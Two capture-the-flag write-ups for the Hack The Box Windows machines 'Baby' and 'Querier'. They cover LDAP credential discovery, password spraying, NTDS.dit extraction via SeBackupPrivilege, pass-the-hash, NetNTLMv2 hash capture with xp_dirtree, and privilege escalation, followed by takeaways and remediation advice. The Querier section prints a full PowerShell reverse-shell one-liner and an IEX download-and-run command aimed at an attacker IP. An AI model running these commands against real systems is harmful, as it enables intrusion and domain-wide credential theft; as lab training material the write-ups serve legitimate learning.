Baby writeup

Box name: Baby

Difficulty: Easy

OS: Windows

Overview: Baby is an easy difficulty Windows machine that features LDAP enumeration, password spraying and exposed credentials. For privilege escalation, the SeBackupPrivilege is exploited to extract registry hives and the NTDS.dit file. A Pass-the-Hash attack can be performed using the uncovered domain hashes ultimately achieving Administrator access.

Link: https://app.hackthebox.com/machines/Baby?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.15.84

Ran rustscan against the machine.

rustscan -a 10.129.15.84 --ulimit 5000 -b 2000 -- -A -Pn

Right away this looks like a domain machine. Still not much under my belt of domain practice but I believe LDAP is the low hanging fruit here. Ran ldap search.

ldapsearch -x -H ldap://10.129.15.84:389 -b "dc=baby,dc=vl"

Read through the results. Interestingly the user account Teresa.Bell has a password of BabyStart123!

Let’s see if that wasn’t changed.

I tried using crackmapexec but that didn’t work. It’s possible that the account needs a password change.

crackmapexec smb 10.129.15.84 -u 'Teresa.Bell' -p 'BabyStart123!'

Tried changing the password but that didn’t work.

impacket-changepasswd baby.vl/Teresa.Bell:'BabyStart123!'@10.129.15.84 -newpass 'Hacked123!'

Since we have credentials though I bet these likely work somewhere. I’ll try with the other users ldapsearch found

Caroline.Robinson

Kerry.Wilson

Joseph.Hughes

Connor.Wilkinson

Looks like it worked on Caroline but we need to change the password.

Changed her password and used winrm.

impacket-changepasswd baby.vl/Caroline.Robinson:'BabyStart123!'@10.129.15.84 -newpass 'Hacked123!'

evil-winrm -i 10.129.15.84 -u Caroline.Robinson -p 'Hacked123!'

And we got user already.

Uploaded winpeas.

upload winPEASx86.exe

And ran it.

While thats running I got a separate shell to do manual enumeration. Right away we have backup and restore privilege. 

We can take advantage of this.

printf "set metadata c:\\\\windows\\\\temp\\\\meta.cab\r\nset context persistent nowriters\r\nadd volume c: alias pwn\r\ncreate\r\nexpose %%pwn%% z:\r\n" > /tmp/shadow.dsh

Upload it to the target.

diskshadow.exe /s shadow.dsh

robocopy /b z:\Windows\NTDS . ntds.dit

reg save HKLM\SYSTEM C:\Users\Caroline.Robinson\Documents\SYSTEM

Download them.

Now we can extract it.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Logged in with the Administrator hash and we get root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 389 (LDAP), 445 (SMB), and 5985 (WinRM). LDAP looked like the most accessible starting point.

rustscan -a 10.129.15.84 –ulimit 5000 -b 2000 — -A -Pn

2 – LDAP enumeration and credential discovery Ran an anonymous LDAP search against the domain and read through the results. Found a plaintext password in the description field of the Teresa.Bell account. Also enumerated a list of domain user accounts.

ldapsearch -x -H ldap://10.129.15.84:389 -b “dc=baby,dc=vl”

Password found: BabyStart123!

3 – Password spraying and account access Attempted to authenticate as Teresa.Bell but the account required a password change. Sprayed the discovered password across the other enumerated users. Caroline.Robinson authenticated successfully but also required a password change. Changed her password and connected via WinRM. Retrieved user.txt.

crackmapexec smb 10.129.15.84 -u ‘Teresa.Bell’ -p ‘BabyStart123!’ impacket-changepasswd baby.vl/Caroline.Robinson:’BabyStart123!’@10.129.15.84 -newpass ‘Hacked123!’ evil-winrm -i 10.129.15.84 -u Caroline.Robinson -p ‘Hacked123!’

4 – Privilege Escalation – SeBackupPrivilege abuse Manual enumeration immediately identified that Caroline.Robinson held SeBackupPrivilege and SeRestorPrivilege. Used diskshadow to create a shadow copy of the C drive and robocopy with the backup flag to copy NTDS.dit from the shadow copy. Saved the SYSTEM hive and downloaded both files.

diskshadow.exe /s shadow.dsh robocopy /b z:\Windows\NTDS . ntds.dit reg save HKLM\SYSTEM C:\Users\Caroline.Robinson\Documents\SYSTEM

5 – Hash extraction and pass the hash Used impacket-secretsdump to extract all domain hashes from NTDS.dit offline. Used the Administrator NTLM hash to authenticate via pass-the-hash and retrieved root.txt.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Key Takeaways

1. Plaintext password stored in an LDAP description field – Teresa.Bell had a password stored in plaintext in her account description, readable by anyone with anonymous LDAP access. Description fields are queryable by all authenticated and in some cases unauthenticated users. Credentials must never be stored in directory attributes.
2. Anonymous LDAP access enabled – The domain controller allowed unauthenticated LDAP queries, exposing the full directory including user accounts and description fields. Anonymous LDAP bind should be disabled on all domain controllers.
3. Password spraying successful due to shared default password – Multiple accounts shared the same default password BabyStart123!, indicating a weak provisioning process. Each account must be assigned a unique password at creation and forced to change it before any other access is granted.
4. SeBackupPrivilege assigned to a standard user – Caroline.Robinson held SeBackupPrivilege, a sensitive Windows privilege that allows bypassing file ACLs and copying protected files including NTDS.dit. This privilege must be restricted to dedicated backup service accounts only and monitored closely.
5. NTDS.dit accessible leading to full domain compromise – Extracting NTDS.dit provided hashes for every account in the domain. A single privilege escalation step resulted in complete domain compromise. NTDS.dit access must be treated as a domain-level critical risk and defended with layered controls.

Remediation

[Immediate] Remove credentials from all LDAP description fields Audit all Active Directory user and computer objects for passwords or sensitive data stored in description, comment, or info fields using a query across all objects. Remove any findings immediately and rotate the affected credentials.

[Immediate] Disable anonymous LDAP bind Configure all domain controllers to require authentication for LDAP queries. Set the dsHeuristics attribute to disable anonymous access and enforce LDAP signing and channel binding via Group Policy to prevent unauthenticated enumeration.

[Immediate] Rotate all credentials extracted from NTDS.dit All domain account passwords and hashes recovered from the dump must be considered fully compromised. Initiate a domain-wide password reset for all user and service accounts. Pay particular attention to accounts with administrative privileges.

[Immediate] Review and restrict SeBackupPrivilege assignments Audit all accounts holding SeBackupPrivilege and SeRestorePrivilege and remove the privilege from any account that does not have an explicit operational requirement. Assign the privilege only to dedicated backup service accounts managed by a PAM solution.

[Short-term] Enforce a unique password provisioning process Eliminate shared default passwords across new accounts. Implement an automated provisioning process that generates a unique random password for each new account and delivers it securely to the user. Force a password change on first login and confirm the previous default is not reusable.

[Long-term] Implement tiered Active Directory administration and enhanced monitoring Adopt a tiered AD model to limit lateral movement from compromised standard accounts to domain controllers. Deploy monitoring for high-risk events including NTDS.dit access, shadow copy creation, SeBackupPrivilege usage, and pass-the-hash indicators. Include domain controller hardening and AD security reviews in the regular penetration testing scope.

Querier writeup

Box name: Querier

Difficulty: Medium

OS: Windows

Overview: Querier is a medium difficulty Windows box which has an Excel spreadsheet in a world-readable file share. The spreadsheet has macros, which connect to MSSQL server running on the box. The SQL server can be used to request a file through which NetNTLMv2 hashes can be leaked and cracked to recover the plaintext password. After logging in, PowerUp can be used to find Administrator credentials in a locally cached group policy file.

Link: https://app.hackthebox.com/machines/Querier?sort_by=created_at&sort_type=desc

Machine IP: 10.129.14.162

Ran rustscan against the machine.

rustscan -a 10.129.14.162 --ulimit 5000 -b 2000 -- -A -Pn

Checked out smb and looks like there is a Reports directory that’s accessible as anonymous.

smbclient -N -L //10.129.14.162/

smbclient //10.129.14.162/Reports

I downloaded it and downloaded and opened with LibreOffice.

There’s not content but it looks like there are macros. We can extract it.

unzip 'Currency Volume Report.xlsm'

It looks like we get credentials inside the macro for the mssql port.

strings vbaProject.bin

reporting:PcwTWTHRwryjc$c6

I was able to get in with those credentials.

/usr/share/doc/python3-impacket/examples/mssqlclient.py reporting@10.129.14.162 -windows-auth

From my notes we can run enable_xp_cmdshell to get a shell but we don’t have permissions. After a while, I wasn’t sure what I could do here so I had to refer to the writeup. We can set up responder, have it try talking to us and capture a hash. Make sure SMB is on.

sudo responder -I tun0 -v

EXEC xp_dirtree '\\10.10.14.155\share', 1, 1;

And we get a hash.

Cracked the hash on the pwnbox.

hashcat -m 5600 hash.txt rockyou.txt

Mssql-svc:corporate568

I was able to connect with these new creds and execute commands now.

I tried running the following command for a shell back but AV blocked it.

EXEC xp_cmdshell 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.14.155'',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'

I tried encoding to base64 but that failed.

I referred to the writeup as I’m not completely familiar with bypassing AV yet but apparently they just get a nishang shell on there. I was able to get it on there with no problem, not sure why my original payload was caught though.

Got user.txt

Downloaded powerup as I saw from the overview that this will get us privesc. I had to change my IP though as my VPN kept failing.

IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.147/PowerUp.ps1')

It looks like it found credentials.

Ran impacket and was able to connect.

/usr/share/doc/python3-impacket/examples/psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.129.14.162

And we got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 135, 139, 445 (SMB), and 1433 (MSSQL). Checked SMB for anonymous access and found a readable Reports share.

rustscan -a 10.129.14.162 –ulimit 5000 -b 2000 — -A -Pn smbclient -N -L //10.129.14.162/

2 – SMB enumeration and macro extraction Connected to the Reports share anonymously and downloaded Currency Volume Report.xlsm. Opened it in LibreOffice and found no visible content but macros were present. Unzipped the file and ran strings against the VBA project binary to extract embedded credentials.

smbclient //10.129.14.162/Reports unzip ‘Currency Volume Report.xlsm’ strings vbaProject.bin

Credentials recovered: reporting:PcwTWTHRwryjc$c6

3 – MSSQL access and NetNTLMv2 hash capture Authenticated to MSSQL using the reporting credentials. The account lacked permissions to enable xp_cmdshell. Set up Responder on tun0 and used xp_dirtree to force the server to authenticate to the attack machine, capturing the NetNTLMv2 hash for the mssql-svc account.

mssqlclient.py reporting@10.129.14.162 -windows-auth sudo responder -I tun0 -v EXEC xp_dirtree ‘\\10.10.14.155\share’, 1, 1;

4 – Hash cracking Cracked the captured NetNTLMv2 hash using Hashcat with rockyou on the Pwnbox.

hashcat -m 5600 hash.txt rockyou.txt

Credentials recovered: mssql-svc:corporate568

5 – MSSQL shell via Nishang Authenticated to MSSQL as mssql-svc which had xp_cmdshell permissions. Standard PowerShell reverse shell payloads were caught by AV. Used a Nishang reverse shell instead which executed successfully and landed a shell. Retrieved user.txt.

6 – Privilege Escalation – cached Group Policy credentials Downloaded and ran PowerUp.ps1 in memory. PowerUp identified Administrator credentials stored in a locally cached Group Policy file.

IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.147/PowerUp.ps1&#8217😉

Credentials recovered: Administrator:MyUnclesAreMarioAndLuigi!!1!

7 – Root Used impacket-psexec with the recovered Administrator credentials to get a SYSTEM shell and retrieve root.txt.

psexec.py Administrator:’MyUnclesAreMarioAndLuigi!!1!’@10.129.14.162

Key Takeaways

1. Credentials hardcoded in VBA macros – The MSSQL service account credentials were embedded in plaintext inside a macro in a publicly readable Excel file. Credentials must never be hardcoded in documents, scripts, or source files. Use service accounts with the minimum required permissions and store credentials in a secrets management solution.
2. World-readable SMB share exposing sensitive files – The Reports share was accessible to anonymous users and contained a file with embedded credentials. All SMB shares must require authentication and be audited for sensitive content on a regular basis.
3. NetNTLMv2 hash leakage via xp_dirtree – The MSSQL service was able to make outbound SMB connections, allowing hash capture via Responder. Outbound SMB connections from servers should be blocked at the firewall and MSSQL should not be running under an account capable of authenticating to external hosts.
4. Credentials stored in cached Group Policy files – Administrator credentials were recoverable from a locally cached GPP file. Microsoft patched this in MS14-025 but the credentials persisted on this system. Any environment that previously used GPP credential storage must audit all systems for cached preference files and rotate affected credentials.
5. Weak password on a service account – The mssql-svc password was crackable with rockyou. Service accounts should use long randomly generated passwords managed by a PAM solution and rotated regularly.

Remediation

[Immediate] Remove credentials from the Excel macro and rotate affected accounts Audit all documents on accessible shares for embedded credentials. Remove the hardcoded credentials from the macro immediately and rotate the passwords for both the reporting and mssql-svc accounts. Implement a secrets management solution for any application that requires database credentials.

[Immediate] Restrict SMB share access Disable anonymous and guest access to all SMB shares. The Reports share must require authenticated access and be restricted to only the users or groups that have a legitimate business need. Audit all shares across the environment for excessive permissions.

[Immediate] Block outbound SMB from servers Configure the host firewall and perimeter firewall to block outbound connections on ports 445 and 139 from servers. This prevents MSSQL and other services from being used to leak NetNTLMv2 hashes to attacker-controlled hosts.

[Immediate] Audit and remove cached GPP credential files Search all systems for cached Group Policy Preferences files containing cpassword attributes using tools such as PowerUp or Get-GPPPassword. Remove any files found and rotate all credentials that were stored in GPP. Apply MS14-025 if not already patched.

[Short-term] Restrict xp_cmdshell and MSSQL service account permissions Disable xp_cmdshell on all MSSQL instances where it is not explicitly required. Run the MSSQL service under a dedicated gMSA with the minimum permissions needed and no ability to authenticate to external network resources.

[Long-term] Implement a secrets management and service account governance programme Establish a policy prohibiting hardcoded credentials in any file, script, or application. Deploy a PAM solution to manage, rotate, and audit all service account credentials. Include MSSQL instances and file shares in the scope of regular penetration tests and configuration audits.